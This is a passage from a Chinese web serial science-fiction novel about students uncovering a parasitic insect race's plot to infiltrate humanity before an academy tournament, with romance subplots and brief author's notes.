“洛家与虫族合作时的约定,他们需要保证虫族离开人类的身体也会死,是经过实验的。”林清澜回的干脆。 颂千纱从粒子环拿出玻璃瓶,放在林清澜床头:“这个,虫族吃了时循一滴血后,长得很大,断了两天血,又变成这样奄奄一息,它的功能是什么?” 玻璃瓶里的虫族奄奄一息,变得很小。 林清澜凝视了玻璃瓶半晌,轻笑了一声,把瓶塞打开,让瓶子里的虫族倒在自己手上。 瓶内的虫族在他的手上微微蠕动,张开口器,迫不及待地咬破他的皮肤。 刺破的血液被虫子瞬间吞噬,它顺着伤口钻了进去,迅速往血管中蠕动。 “你!” 时循呼吸微窒,她脸色绷紧,迅速抓住林清澜的手腕攥紧,不让虫族继续深入,腰间一抹,她准备把虫族从林清澜手中割出。 颂千纱神情微闪,看出时循眼底的失控。 “我没事,你看。”林清澜的眼中闪过暖意,眼眸亮起。 虫子的身影顺着血管往小臂蠕动。 所有人的呼吸都顿了片刻。 几息后,虫族的身影消融。 “……”几人忍不住站了起来,满脸惊诧。 “算是喂我身体里虫族的食物,让他不要这么快把我吃空,但如果钻入正常人体内,也会变成与我一样。” 时循脸色铁青,指节用力到颤抖。 她顿了片刻,甩开他的手,面无表情地转过身用光脑记录。 光脑的白光照耀在时循脸上,让她的面色看上去更冷。 林清澜怔怔地望着她的背影,眼眸中的光逐渐变淡。 微张的唇瓣重新闭上,他垂着头把手缩回被子,在底下摩挲着她刚刚拂过的地方。 “时渺参与了多少?” “全程。” 时循顿了半刻,又接着发问。 “林淼当时说提前开始的学院大比是什么意思?” 林清澜身形一僵,思索片刻后回:“洛家的虫族应该已经确定了颂千纱的身份,要开战了。” 几人面色一沉,都从光脑上抬起头来望向林清澜。 “什么意思?”齐焦蹙眉发问。 “确定什么了?”胤允眉眼都扬了起来,眼中怒意更盛。 二人几乎同时发问。 “虫族一直在等待一场神降。”林清澜迟疑片刻:“我只隐约听过什么,神降,母亲将醒,后面还有一句什么,我就没有意识了。” 颂千纱眉头蹙的很紧:“神降?” 不知怎么的,她隐隐觉得不安起来,掌间冒出冷汗。 这个世界没有法术,哪来的神? 颂千纱心中疑窦丛生。 她面露怀疑,思索了一阵,不止怎么地,想起穿越前失去意识时那阵刺眼的阳光。 她骤然睁大眼睛,瞳孔微缩。 一股凉意直冲大脑,她头皮都开始发麻,嘴唇紧抿。 心中的不安更甚。 这也许场穿越并没有想象中的巧合。 铺天盖地的阴谋像一张网,把她笼罩,她四处奔走,却无处可逃,已经入局。 即将面对的究竟是什么? 她不知道。 眩晕感扑面而来,她死死地抓住凳子,不敢往下细想。 “纱纱?”胤允搂住她的肩膀,语气关切。 颂千纱猛地抬头,冷汗从额头滴下,她摇了摇头,急切地走近林清澜:“你怎么确定是要大战?” 他抿唇躺下,用被子包住整个身体,蜷缩起来。 “那虫族说过,等母虫降临,虫族生生不息,所有人类都会成为虫族的食物。” 他背对着他们往窗外看去,这是一扇没有被钢筋混凝土封住的窗子。 可混沌不清的云层笼罩了整个天空,有月亮的地方发着微弱的光辉,让人迷惘,无法分辨究竟哪一块才是月亮真正的位置。 夜色沉沉。 所有人都倍感沉重。 “我有事,和胤允出去一趟。”颂千纱抿着唇忽然站起来,严肃这脸把胤允拉走,脚步匆匆。 胤允疑惑地跟着颂千纱走了出去。 时循偏头:“还有吗?” 林清澜摇了摇头,回答道:“没有了。” 三人对视一眼,也起身。 “既然如此,你好好休息吧,这里是男寝,明天一切如常,我们想到什么再问你。”时循转身欲走。 时循的手臂被林清澜拉住,他依旧把脑袋埋在被子里,手却紧紧攥着她。 时循脚步顿住,没有低头,表情古井无波。 她微微垂眸,没有转身坐下的意思,可也没有拂袖离开。 齐焦原本在门口等时循一起回寝室,见状朝她点了点头,先行离开。 脚步声渐远,时循迈开步子,他把手攥的更紧。 林清澜心里打鼓。 他们都很聪明,也很了解彼此,他做了什么时循心知肚明,可这样怀有目的的接近,他也清楚已经触犯了时循的底线。 可他不想放手。 “我的坦诚可以补救一些吗?” 林清澜死死攥着,语气中全是祈求。 时循转头,把目光落在他身上。 他把自己捂得很严实,严实到时循能看清他蜷缩的动作。 半晌,她叹了口气:“我去关门。” 话毕,那双手终于松开。 时循关上门,走回来坐在他床前,轻轻把被子揭开,眼神里没什么情绪。 “没什么好补救的,清澜,我们回不去。” 林清澜心中猛地下沉,身体依旧蜷缩着,垂眸,没有与她对视。 “我那时……”他的声音颤抖:“对不起,我太想留在你身边了。” 时循嘴唇紧抿,在林清澜看不到的那只手,指节用力到泛白。 半晌,她又强迫着自己缓缓松开。 “别再想了,都过去了。”她没问林清澜的意见,从粒子环中取出一根烟点上。 “不要让虫族继续深入,想办法阻止。”她吐出一口烟,站起来要走。 手再次被攥住。 “我能弥补这一切的话,能回去吗?” “回不去。” 时循回的干脆,目光落在门口,又像是放空。 可她站在那里,依旧不甩开林清澜的手,像是在等他自己放开,又像是舍不得。 烟灰一节一节地落下,直到一股灼热烫颤了时循的手- 颂千纱二人出了房间后,拿着周之旭的钥匙就去了航行舰停放处。 航行舰不断穿梭在夜空,绕着首都星打转。 “胤允,你力量恢复多少了?记忆恢复了吗?”颂千纱肃着脸,心事重重。 她的状态看起来很紧绷,脸上带着微微的绒毛,发着白光,眉头紧促着。 没来由的恐惧从四面八方传来,她想要挣扎,却找不到出口。 “六成,最近恢复的越来越快了,但是记忆没有恢复。”胤允摇头撑着脑袋,盯着她看。 颂千纱摇了摇头,眼神愈发凝重:“大赛还有多久?” “估计学校明天会发通知。”胤允把颂千纱抱了过来,让她自己怀里坐着。 颂千纱几乎把眉毛拧成一团,她深深吸了口气。 “胤允,我们来到这里不是意外。” “嗯。” 胤允反应平淡得像是颂千纱在说明天吃什么。 颂千纱抬头,疑惑道:“你不怕吗?神降可能是针对我们的。” 胤允歪着头,仰头思考了一瞬,眼中也带着疑惑:“怕什么?没什么能再把我们分开,我们一定会赢。” 颂千纱眼中疑惑更盛:“为什么这么自信?” “为什么不自信?”金眸一眨一眨地,眼中全是自信。 “我们输过吗?”他虚心求教:“你与我并肩作战,我认为我们只会比原来强上百倍。” 颂千纱哑然,眼神空了一瞬,脑中闪过许多回忆。 是啊,哪怕遍体鳞伤,他们万年来从未输过。 颂千纱微微垂眸,原本蜷缩的指尖松懈下来,半晌,轻笑出声,彻底依偎在胤允怀中。 她转头望向窗外的浓浓夜色,天地在这样黑的夜里没有了交界线,融为一体。 望着不远处一户楼房的灯光,嘴角更加上扬。 胤允见状俯下头轻嗅着颂千纱颈侧的莲香。 原本紧绷的身体瞬间松散开来,整个人变得懒懒的。他垂眸盯着脖颈处淡淡的红印,金眸中闪过怒意。 “就该杀了他。” 颂千纱一手搂住他的脖颈,轻抚他上扬的眉眼,无声安抚着。 他眼神变沉,凑上去亲吻颂千纱,一触即分。他的眼睛盯着唇瓣,一下又一下地吮吻着,像是亲上了瘾,逐渐得寸进尺吻上了脖颈。 “胤允!”颂千纱扯住他的耳朵往上提。 胤允根本不怕疼,回的囫囵:“怎么了纱纱?” “……” 原本沉重的心情被他的无赖打散。 “你说怎么了!说了不许亲伴生纹!”- 凌晨五点,颂千纱回到寝室时,整个寝室云雾缭绕,借着月光,她看见二人。 时循坐在窗边抽着烟,齐焦坐在她身旁,叼着根棒棒糖。 颂千纱往里走近,垃圾桶里有许多烟蒂。 她伸手开灯,时循和齐焦都不适应的眯了眯眼,颂千纱这才发现,二人中间有个灰扑扑的银色戒指,看起来有年头了。 颂千纱坐在二人对面,好奇地拿起戒指,对着光仔细端详。 她用指腹摩挲着缺口,戒指的一边断裂开来,断裂的边缘都翘起,似乎是被强行扯断了一截,用的力气奇大。 但断裂的边缘并不刺痛,像是被长期摩擦,导致断口原本尖利的一面变得圆滑。 颂千纱对着光看着戒指内圈,有字母的一边正好被截断,她翻看了一番,又放了回去。 “是林老师的东西?”颂千纱晃了晃戒指。 齐焦眉毛一挑,替时循回答:“是时循的东西,林老师还给她的。” 齐焦冲着时循努嘴:“刚刚回来就盯着戒指,然后抽烟抽到现在。” 二人都看向时循,时循撑着脑袋,依旧抬眼望着月亮。 月亮依旧被云雾遮盖,偶有从云层中挣扎着露出头来,不过也只有一瞬。 颂千纱与齐焦对视一眼,接过齐焦塞来的棒棒糖:“我走的早,你们后面还有说什么吗?” “没有。”齐焦答。 时循把烟蒂掐灭,扔进垃圾桶,强行垂下视线,用力闭眼捏了捏眉心。 “抱歉。”她忍不住咳嗽了两声,声音带着些嘶哑:“没经过你们同意就在寝室抽那么多烟。” 齐焦和颂千纱对视一眼,都没说话,望向时循的眼神带着关心,二人都并不介意这个,更关心她的状态。 时循深吸了一口气,强打精神,目光转向颂千纱:“虫族的神降,让你想到什么了?” 齐焦给二人递棒棒糖。 “我不知道怎么说,是一种奇怪的预感。”颂千纱剥开糖纸把棒棒糖塞进嘴里:“神降与我、胤允必然有什么联系,和这个世界的联系,可我猜不出来。” 颂千纱敛眸。 穿越过于荒唐,她没准备把这件事放在明面。 时循和齐焦都没立刻接话,烟味缓缓沉了下去。 空气中只有齐焦咬糖发出的脆响,神色凝重。 时循蹙眉思忖,把断裂的戒指下意识拿起来摩挲。 片刻后,时循侧目看向颂千纱:“与你们的能力有关,当初在垃圾星,大部分虫族见到你都会躲开,也许——”她的眼神闪了闪:“最主要的,是你的血。” 空气安静了一瞬,齐焦咀嚼的动作也停了片刻。 颂千纱的动作僵了僵,嘴里的糖忽然变得无味,喉咙也变得干涩。 她垂眸半晌,从粒子环中拿出那个已经泛黄的营养液空瓶。 二人看着她,都没有说话。 气氛在此刻沉到了底。 颂千纱吐了口气,仰着头漫无边际地思索着。 学院大比,是人族这一代未来天骄最为集中的时刻,虫族要用这个契机做什么? 他们绝不可能放弃这个一网打尽的机会。 天骄齐聚,这四个字在脑中转了一圈,她忽然眼神一凛那就只有两个可能。 要么全灭。 要么全部成为虫族的培养皿,被彻底圈养。 到最后这些天骄与林清澜一样,意识逐渐被虫族吞噬,变成虫族。 她的指尖微微颤抖了一瞬,背脊生寒,颂千纱转头远眺。 这看似铁桶一般坚固的校园,早就被蛀的只剩空壳。 “齐焦。”颂千纱忽然抬头看她:“我帮你恢复天赋。” 齐焦挑了挑眉,眼中滑过一丝讶异:“怎么突然说这个,不是要等大赛吗?” “我有预感,不远了。”颂千纱如是说- 第二天是难得的周末,学校并不上课,颂千纱醒来时,时循和齐焦不在寝室。 她打开光脑,消息弹了满屏幕。 她揉了揉眼睛,努力睁开往下滑,学校大群中一路活跃。 有的抱怨天气太阴却不下雨,有的在分析训练日常,好不热闹。 她不断下滑着,翻到最早的那一栏,手指在屏幕上停住,眼神微眯。 是学校发的公告通知。 [因最近天气愈发恶劣,联盟商榷许久,决定把学院大比提前至4027年8月13日。]颂千纱指尖顿了片刻,点进去仔细查看日期,是三个月后,她嘴角轻哂。 虚伪,其实提前大赛仅花费0秒就提前了。 颂千纱撇了撇嘴。 但心中也震撼于虫族在人族中的影响力,居然已经深入到了这个地步。 心中不寒而栗。 人族已经被入侵到了这个地步。 颂千纱喉咙发紧,盯着学院群出神。 学院群里依旧如常的热闹,像是什么都没发生。 这样的荒诞让她觉得很堵。 她吐了口气,把手机扣在胸口,望着天花板出神片刻。 阳光从窗外撒了进来,颂千纱从床上坐起来,走到椅子上坐下,在此刻,也洒在了她身上。 她再次拿起手机,翻看刚刚略过的几人消息。 [循:我们在星宇楼。][焦了个焦:今天吃大闸蟹。][旭旭和你拼了:快来啊!我等的花都谢了!][胤允:我在楼下。]颂千纱怔忪了片刻,嘴角缓缓勾起一丝弧度。 山雨欲来时更要填饱肚子。 她在几人的群发出几个字,随后关上光脑,拿起衣服往身上随意一套,一刻也不拖沓,跑了出去。 [来了!大宅蟹等我!]作者有话说:今天还会在更一章,停了几乎五天,从一开始的自厌,到现在缓和许多,在心态上有些转变,似乎接纳了一些,这本写的就是不够好的,自己现有的笔力确实是不足的,虽然收藏看起来许多了,但真的挺高开低走的,不过剧情也到了后期了,希望可以加油写的更好些吧。TAT 第60章 阳光明媚,走到楼下被直射着又一瞬间的刺眼。 颂千纱下楼后就望见了胤允。 他站在门口,穿着意外的精致。 身着剪裁得体的西装裤,同面料的西装外套随意地搭在手臂上,手里提着早餐。 连发型都是精心打扮过的,把额头露了出来。 他本就高大,造型让他气场变得更加凌厉张扬,眉头蹙着,微微仰头看着远方,眉眼中的野性带着十足的张力。 周围许多人都在悄悄拍他。 让颂千纱不禁弯了眉眼。 见她过来,胤允愣了楞,弯起嘴角朝她张开双臂。 颂千纱跑着扑进他怀里,被抱着转了一圈。 “两百八十八。” “什么?” “没什么。” 是等她的时候有两百八十八辆航行舰从头顶飞过。 胤允把早餐递给她。 “怎么穿成这样?”颂千纱歪头接过早餐,放在手里没动。 胤允嘴角微微扬起,不适应地扯了扯领口,手十分自然的搭上她的腰。 他撩了撩头发,装若无意地瞥向颂千纱:“林清澜说这样招你喜欢。” 颂千纱嘴角抿起一丝弧度,再次转头认真地打量他。 连眉毛都整整齐齐,衣着也显然是刚买不久,还没沾染上他的味道。 胤允瞥了她好几眼,见她半天不出声,脸色逐渐变臭,神情中带着懊恼:“不喜欢?我也觉得束手束脚——”话音未落,他就上手想要把领结扯下,颂千纱连忙把他的臂膀揽住,笑靥如花:“喜欢,喜欢!” 她停下来帮他把扯松的领结重新整理平整。 他站定,微微仰头任她动作,垂着眼看着她。 呼吸喷洒在颂千纱的额头,她顿了片刻,没有抬头,唇角始终挂着一丝甜蜜。 “小龙很帅!”做完一切,她重新勾住胤允的臂膀,漂亮的红色眼睛在阳光下亮的像摧残的宝石。 胤允盯着颂千纱缠绕上来的双臂挑了挑眉,眉眼都舒展了不少,嘴角勾得张扬,满脸的自得。 颂千纱被他的神情逗的捂嘴:“你怎么和他聊起来了?” “他在我那光着,我本来想扔出去的。”胤允不留痕迹地伸手与她十指相扣:“然后看到时循发消息,说要跟在我身边放着,最好寸步不离,怕他变虫族。” 他轻轻摩挲颂千纱的手背,感受着手臂上缠绕的温度。 他的嘴角平了弯,弯了平,每一下都比上次更弯,最后扑哧一声笑了出来,笑得爽朗又张扬,毫不掩饰的自得。 “你能让虫族不出来?”颂千纱没留意他的暗爽,望着前方疑惑地问。 “打。”胤允回的简单直接,语气随意。 “……” 颂千纱咽了咽口水,暗自摇头。 以她对胤允的了解……这虫族的生命力是挺顽强的。 周末的校园冷清不少,除了宿舍楼下,几乎没什么人围观,当然,他们也很少在意。 二人在阳光下并排走着,影子紧紧地跟着他们,早餐在胤允手中晃来晃去。 谈话间,两人进了航行舰。 颂千纱上了航行舰才发现林清澜沉默地坐后座,凝视着窗外出神,神情漠然。 “你也去?”颂千纱眼中带着惊诧,转头问他。 林清澜今天没有掩饰自己的病容,看起来分外憔悴。 他慢半拍的把目光从窗外收回,垂眸片刻,冲着颂千纱微微点头:“我不能离开颂戈。” 颂千纱点头转身。 林清澜顿了顿,补了一句:“我体内的虫族只有他在的时候能压制。” 颂千纱瞥了他一眼。 他显然注意到了颂千纱的视线,张了张口,又闭上,手指微蜷。 颂千纱眨了眨眼,表情带着揶揄道:“林老师怎么想到让胤允打扮成这样?” 林清澜依旧没什么表情,他瞥了眼前座的胤允,又收回目光,转眸接着看向窗外。 “为悦己者容,你不喜欢吗?”林清澜问的很轻。 颂千纱笑意更甚,歪头端详胤允,一字一顿,每个字都在舌尖品味了片刻才说出来:“悦、己、者、容。” 胤允在驾驶座任她看,嘴角微勾与她对视:“悦己者容。” 二人相视一笑。 林清澜坐在后座,恍惚了一瞬,出神地望了二人许久。 回神后,把视线重新放在窗外,撑着下巴,半张脸埋在阴影中,看不清神情。 三人到达星宇楼时正好上菜,他们来的不早不晚。 “偶像你怎么……?”周之旭诧异地瞥向胤允,转道又盯着林清澜:“你们来——林老师怎么在?” “孔雀开屏。”时循瞥眼胤允。 胤允牵着颂千纱坐下,对其他人反应视若无睹。 颂千纱二人坐下,多出一个位置正好在时循身边。 林清澜沉默坐下。 “诶?今天怎么正好?”周之旭挠了挠头,停下正准备去拿一个椅子的动作,眼神疑惑。 齐焦意味深长地瞥了时循一眼,嘴角勾着一抹笑,站起来拉着周之旭坐下。 周之旭被齐焦拉着坐下,转头冲着她嘟囔:“怎么今天——唔!” 齐焦噙着一抹笑,往他嘴里塞了口蟹肉:“吃你的。” 时循对颂千纱和齐焦的眼神也视若无睹。 “孔雀开屏。”胤允反唇相讥。他声音不大,手中剥蟹的动作不停。 林清澜垂着眸,长睫下的睫毛狠狠一颤,喉结滚动。 他沉默了许久,努力放松紧握到僵硬的指节,夹了一口菜往嘴里咽。 时循余光微动,剥蟹的动作不停。 这顿饭吃的热闹,少年们叽叽喳喳地,像是有聊不完的话题,这气氛把林清澜挤的逼仄,脸色愈发苍白。 他往嘴里塞了几口食物,中场时,他白着脸冲去了厕所。 “怎么了?”周之旭起身追去厕所。 “没事,没有内脏吃不了东西。”林清澜声音嘶哑,语气却很淡。 时循剥蟹的动作一顿,不再将蟹肉剥到碗里,改道塞进嘴里。 包厢中安静了一瞬,齐焦和颂千纱再次对视,二人不约而同打开点单界面,上面果然已经多了几瓶营养液。 二人瞥了时循一眼,时循正舀了一勺蟹肉往嘴里塞。 林清澜似是察觉包厢因为他而变得安静,开口道:“没事,不用管我。” 齐焦扬了扬眉,恰似不经意的开口:“手真快,不愧是3S+速度的机甲单兵。” 时循泰然自若,她夹起场上最后一个鸡腿塞进嘴里。 那是齐焦最爱吃的食物。 齐焦观察了许久,确定没人与她抢,准备留到最后品尝的! “时循!” 齐焦眼睛瞪圆,眼睁睁地看着时循把鸡腿嗦的一干二净。 时循做完一切,冲着齐焦挑衅地抬眉。 齐焦咬牙切齿。 颂千纱笑得前仰后合,差点从椅子上摔了下去,被胤允捞了回来。 窗外的阳光在不知不觉中倾斜,五人酒足饭饱后。 “三个月后就大赛了,家人们有没有说法?”周之旭瘫在座位上一脸满足。 “晕碳了……”颂千纱也吃的好饱,这肉太鲜香了,她擦了擦嘴开口道:“我的积分还垫底呢,之后估计得靠打架才能刷分了。” “大赛就是大战了。”林倾人倏然开口。 “什么大战?”周之旭半阖着眼。 胤允开口,不紧不慢地帮颂千纱揉着赤城的肚子:“人虫之战。” 几人的表情都凝固了片刻,气氛骤沉。 时循把擦嘴的湿巾放下:“你怎么知道?” “我身体里的虫族从今天开始就愈发躁动。”林清澜转头看向时循,这是林清澜今天第一次与时循对视。 “什么意思?”时循虚握着茶杯,表情严肃。 “像是受到了什么召唤,想要完全吞噬我。”林清澜坐的端正,语气平缓:“接下来几个月,虫族会加速吞噬成长。” 时循看了林清澜一眼,眉头紧促着,刚准备开口又停滞,像是想到什么。 半晌,时循再次开口,低声喃喃:“母虫?” 林清澜没有回答,他也不确定。 气氛一点点凉了下来,几人原本松弛的姿态逐渐紧绷起来。 窗外风声呼啸,哪怕阳光热烈也挡不住风的凛冽,风钻进房间的声音一下下落在众人耳畔。 林清澜见五人都不接话,转头望向窗外,沉默了半晌,再次启唇给五人出主意:“可以透露给林斯福,他应该会拼尽全力阻止时家和洛家继续造虫族。” 时循下颌绷得很紧,眼神紧盯着他,没有答话。 告诉林斯福,要把他说服,让他相信,意味着要把林清澜的所作所为告诉林斯福。 林清澜脸上没有什么表情,语气平淡的像在说天气。 他抬头望向众人,身上的清雅气质又再度回来了:“你们需要尽全力训练,因为别的学校主力,最近对抗赛数值忽高忽低,很奇怪。” 气氛降至冰点。 “能不能告诉学校,让全民进阶?”颂千纱面色紧绷。 齐焦抱着臂,瞥了眼颂千纱:“会被当成疯子。” 时循眼眸微动,嘴角微勾:“先让相信的人相信,其他人,可以换个方式。” “什么方式?”颂千纱脸上更加疑惑。 林清澜将刚刚送到的营养液一饮而尽,脸色依旧憔悴。 作者有话说:拖延还是有点严重,写到剧情段就开始玩手机TAT《 》 60-70 第61章 林清澜垂眸,嘴角的笑与时循如出一辙:“造谣。” “造谣?”颂千纱眉头紧蹙。 “这么发能有用吗?”周之旭愁眉苦脸地看着时循。 “试了才知道。”时循耸了耸肩。 齐焦挑了挑眉,拿起手机在校园论坛也发了一篇帖子。 半小时后,六人不约而同地回了训练室,就连颂千纱也没有休息的意思,使唤五人拿出机甲进行改造。 林清澜坐在一旁分析几分作战的短处,组织着训练,不时指点着颂千纱的机甲- 傍晚六点整。 有三条帖子在三十分钟内被顶上热榜第一。 【震惊!克斯尔星地下藏着三大世家百年秘密!】 【三个月后世界末日,大部分富人已买船票逃离首都!】 【家人们最近有没有发现什么怪异的事?】 不用五人费心,评论区内众说纷纭。 【评论区:99999+】 已经有不少网友扒出各种比赛对抗赛截图,不少选手数据都在短时间内暴涨。 还有人晒出某主力学生忽然昏倒的图片。 甚至有富人的行踪被曝光。 【管理员已介入审核。】 【该贴已被多次举报。】 不多时,联盟官方账号发布声明。 【已核查,相关内容为恶意造谣。】 帖子已被官方删除,可热度却丝毫没有下降,群众反有被点燃的意思。 相关话题点击进去,却是该贴已被删除。 七点,五人的光脑同时亮起,是一条林斯福的群通讯请求弹出。 几人不约而同地望向林清澜,他正教颂千纱改装手臂。 见颂千纱拿着光脑抬头,他愣了片刻便反应过来,轻笑道:“接吧,不用管我。” 话毕,他手中的动作不停,翻动机甲,在光脑上记着数据。 时循率先接起:“林上校。” 林斯福劈头盖脸就是一顿输出,声音响彻训练室:“你们几个在网上发什么捉风捕影的事?知不知道这样会被人盯上?” 齐焦揉了揉耳朵:“上校,我们知道。” “你们都在一起?” “嗯。” 接着,林斯福顿了顿,又沉声道:“说吧,你们发现了什么?” 五人对视一眼,目光不约而同地望向林清澜,他像是毫无所觉,继续记录着光脑的数据。 颂千纱不留痕迹地扫了一眼时循,率先开口:“我们上次去医院,在icu治疗舱内发现人为孵化出来的虫卵。” 电话另一端静了一瞬。 “你们从哪里得到的消息?” 周之旭凑近回话:“是颂戈之前在的治疗舱,密密麻麻的全是虫卵,还带着血腥味,看着头皮发麻!” 其他人的话或许会掺水,但周之旭的话可信度很高。 林斯福的语气明显严肃了许多。 “你们五个一起发现的?” “嗯。” “前两天军区医院有三人失踪,是你们做的?” 周之旭挠了挠头,满脸疑惑:“谁失踪了?” 除了他以外,四人表情莫测。 颂千纱脸色微白,齐焦见此走了两步,站到她身边。 林清澜停下动作,朝五人望去。 时循眼神微闪,思忖片刻想要开口,却被胤允抢先一步。 胤允揽过颂千纱的腰,轻吻她紧促的眉头,一脸不耐地瞥向电话:“问了又不信,你不如自己去查。” “你——”林斯福话音未落,便被胤允挂断。 光脑的界面停在通话结束,屏幕上还不断闪烁着林斯福发来的消息。 训练室一片安静,都肃着脸,没人有开口的意思。 气氛不约而同地沉闷下来。 林清澜摘下眼镜走向他们,打断了五人间的沉默:“消失的有一名护士,两名医生。” 时循转头看向他,眉头微蹙。 林清澜嘴角的笑一如往常,他垂着眸走到五人之间:“三人失踪前都在icu值班,摄像头却在当晚被弄坏了。” “两名医生叫什么?”颂千纱眼中透着疑惑。 “苏锡,星澜。”林清澜回,他抬头盯着几人的神色,眼中滑过一丝了然。 五人的表情都古怪起来,他们相护看了一眼,都没出声。 林清澜看在眼底。 “……” 这三人的身份都能确定了,就是当晚那三个。 颂千纱指尖轻颤,她百思不得其解,却又不知如何开口。 脑中闪回当晚的画面。 那天她分明杀的是苏锡,怎么会三人失踪? 她的眉毛几乎拧在一起。 时循盯着林清澜,微微眯眼,眼中带着探究:“你很清楚那晚发生了什么。” 林清澜垂着眸,手指轻轻摩挲着指腹,半晌,他挂起一抹笑。 “苏锡是洛家得力下属,他死了。”林清澜与时循对视,眼神如往常一样清雅温和,嘴角的笑意带着温度:“死的时候,他体内的虫族进入了另外二人体内。” 话毕,空气凝固了一瞬。 周之旭感觉到毛骨悚然,情不自禁地抖了下身体。 胤允转头看了一眼林清澜,轻轻拍了拍颂千纱的背。 “怎么进入的?”颂千纱眉头蹙的更深,她盯着林清澜:“你之前不是说虫族离体即死吗?” 林清澜张口想要说话,却被咳嗽声淹没。 时循盯着他,面色绷得很紧,手臂用力到微微颤抖,却没有伸出去。 周之旭立马上前想要扶起林清澜,却被他拦住,不让周之旭上前。 时循微微颔首,思忖道:“有条件的,对吧?” 林清澜点头,脸色更白。 时循思忖了许久。 训练室再次安静。 鲜血从林清澜的口中溢出,他强忍着痛意站定,接着说:“他死的时候,血肉……” 林清澜体内的虫族显然不允许他说出这些虫族的秘密,在他身体里翻江倒海。 话毕,他脸色骤白,捂着头青筋爆起,咬着牙,血不断从七窍流出来:“血肉,直接接触那两人的皮肤,虫族就可以继续在二人体内存活。” 他的身体忽然出现怪异的抽动,倒在地上,身体不断向后仰,紧接着,昏了过去。 时循紧抿着唇,深深地望了林清澜一眼。 四人都在望着她。 她深吸了一口气,开口道:“胤允,带他回去。” 颂千纱脸上带着迟疑,扯了扯时循的衣角。 时循瞥了她一眼,没有回应。 胤允揉了揉颂千纱的脑袋,对她温和一笑,颂千纱回神看向胤允。 胤允走上前拎起林清澜,与颂千纱打了个招呼:“纱纱,我到了给你通讯。” 颂千纱点头与他挥手,目送他离开。 他的身影很快,只有颂千纱能看清,他的背影被月光撒上一层白霜,在拐角末端,胤允还朝颂千纱摆了摆手。 颂千纱恍惚了一瞬。 林清澜粘稠的血液还在地上,血腥味伴着机甲上的机油味,糅杂在了一起,让人恍然产生一种已经在战场的错觉。 齐焦把颂千纱拉至身边坐下,见她状态不对,望向几人:“今天训练先结束吧?” 时循点头,眼睛盯着那块血迹,半晌,从粒子环拿出抹布。 她蹲下擦拭血迹。 血还温热着,十分粘稠,不一会儿就在地上有了个印子,时循用抹布反复地擦了几遍,才擦干净。 周之旭与三位女生打了个招呼,就小跑着追上胤允的脚步- 颂千纱三人寝室围着一阵蓝光,蓝光把三人与空间切割,在围着三人的蓝光内,安静地连呼吸声也没有。 他们坐在小桌子上,不约而同地望着桌面发呆。 齐焦张了张口,嘴巴又闭上,眼里全是纠结。 颂千纱双手撑着脑袋,盯着桌面没说话。 时循一下一下地摩挲着银白色戒指,银白色戒指反射出光芒照在她脸上,神情莫测。 寝室的气压很低。 时循从粒子环拿出一根香烟,眼神询问二人。 颂千纱瞥了一眼,从粒子环拿出一根棒棒糖插在她手上,把她的烟抽走。 时循轻笑一声,剥开糖纸,开口道:“虫族这项技能,在战场上几乎是不可能死的。” 齐焦也问颂千纱要了根棒棒糖塞在嘴里。 “人族根本没有一战之力。”齐焦用力闭上眼,捏着眉心,右边的腮鼓出一个圆形。 时循和颂千纱的呼吸顿了顿,却都没有开口。 蓝光映在三人年轻的背影,映出的影子都不约而同地佝偻着,像是他们的背上都压着一些看不见的东西。 让人凭空生出一种大厦将倾的感受。 颂千纱变换姿势,她把双手放下,仰头躺在椅背上,怔怔地望着天花板:“就没有什么办法可以规避吗?” 二人没回她,颂千纱对她们的反应也在意料之中,三人就这么望着天花板。 忽然,颂千纱的光脑响了,铃声在这一片寂静中格外刺耳。 颂千纱过了许久才回过神来,在最后一声前抬手接起,胤允打来的是视频。 胤允的脸出现在光幕上,他的身后照着半张林清澜的脸。胤允见颂千纱眉宇间的郁气,微微蹙眉。 “纱纱,怎么愁眉苦脸的?”胤允的声音从光脑中发出。 颂千纱撑着脑袋端详着他,叹了口气,说道:“我们刚刚聊到,如果林清澜说的是真的,那么虫族在战场上,是不可能会死的。” 她把光脑的隐私模式关闭,让三人都看见他。 胤允蹙了蹙眉,画面骤然变黑。 第62章 “怎么了?” “没事。” 画面再次出现,视频内多了个周之旭。 “嗨!”周之旭朝三人招手,嘴角勉强扯出一抹笑。 胤允解释:“刚刚给他开门。” 周之旭开口给几人打了个招呼就坐在林清澜身边看着,整个人蔫成一团。 视频内除了胤允外,五人都状如三天没浇水的白菜。 眼前的问题像是缠绕了满身的线团,找不到一个解法,只能任凭线条缠绕着自己。 胤允挑了挑眉。 他的视线扫过几人,最后落在颂千纱微蹙的眉心上,顿了顿,启唇道:“没有可寄生体,就死了。” 颂千纱轻叹一口气,换了个姿势趴在桌面上:“所以呢?” 胤允轻叩指尖:“找到虫母,杀了她。” “嗯?”颂千纱回的心不在焉。 几人安静了一半晌,不约而同地瞥了眼胤允,眼中都带着困惑。 颂千纱不明所以:“这是什么逻辑?” “他体内的虫族愈发暴动,说明虫母要么已经醒了,要么快醒了。”胤允指了指昏迷不醒的林清澜。 周之旭摸不着头脑:“那又如何?” 胤允瞥了眼周之旭,侧身靠在椅背上望着林清澜。 林清澜的汗水几乎浸湿了半张床,眉毛拧着,就是没有醒。 时循顺着胤允的视线望向林清澜。 半晌,她眼眸微微一闪:“你的意思是,如果虫母性命有威胁,所有虫族都会回防?” 胤允慢悠悠地点头。 齐焦慢慢坐直:“而虫母刚醒,正是最虚弱、需要大量养分的时候。” 颂千纱把嘴里的棒棒糖拔了出来,盯着光幕:“那虫母,会在哪里?” 这下五颗白菜都吃够水,忽然一改颓废的坐姿都坐了起来。 周之旭灵光一闪,打开光脑:“我去问问我姐!” 话毕,这小山似的男人就对着光脑一阵打字,屏幕的蓝光在他脸上不断亮起。 “……” 颂千纱忍不住扶额,叹了口气。 两头都没人说话,齐焦不动声色地观察着几人。时循眉头微蹙,她像是想到什么,骤然抬头望向林清澜,表情莫测。 胤允的目光一直落在林清澜身上,等了半晌,见他还没醒,蹙着眉更加不耐,启唇道:“都听见了,准备装死到什么时候?” 周之旭抬起头四处看了看,挠头道:“偶像,你在和谁说话?我吗?” 胤允睨了他一眼,眼神中透着嫌弃:“……” 林清澜的手抖了抖,依旧闭着眼不说话。 他的动作在光幕中十分显眼,所有人的目光这下都落在林清澜身上。 “……”环视一周,这下周之旭也反应过来,转过身子放下光脑,挑眉看向林清澜。 胤允的手指一下一下地瞧着桌面,眼神一下比一下不耐。 “还是我把你打出来?” 声音不响,却像是打在它的身上。 不用睁眼也能感受到,房间内的气压在逐渐变低,低到林清澜逐渐难以呼吸。 三秒后,林清澜缓缓睁眼。 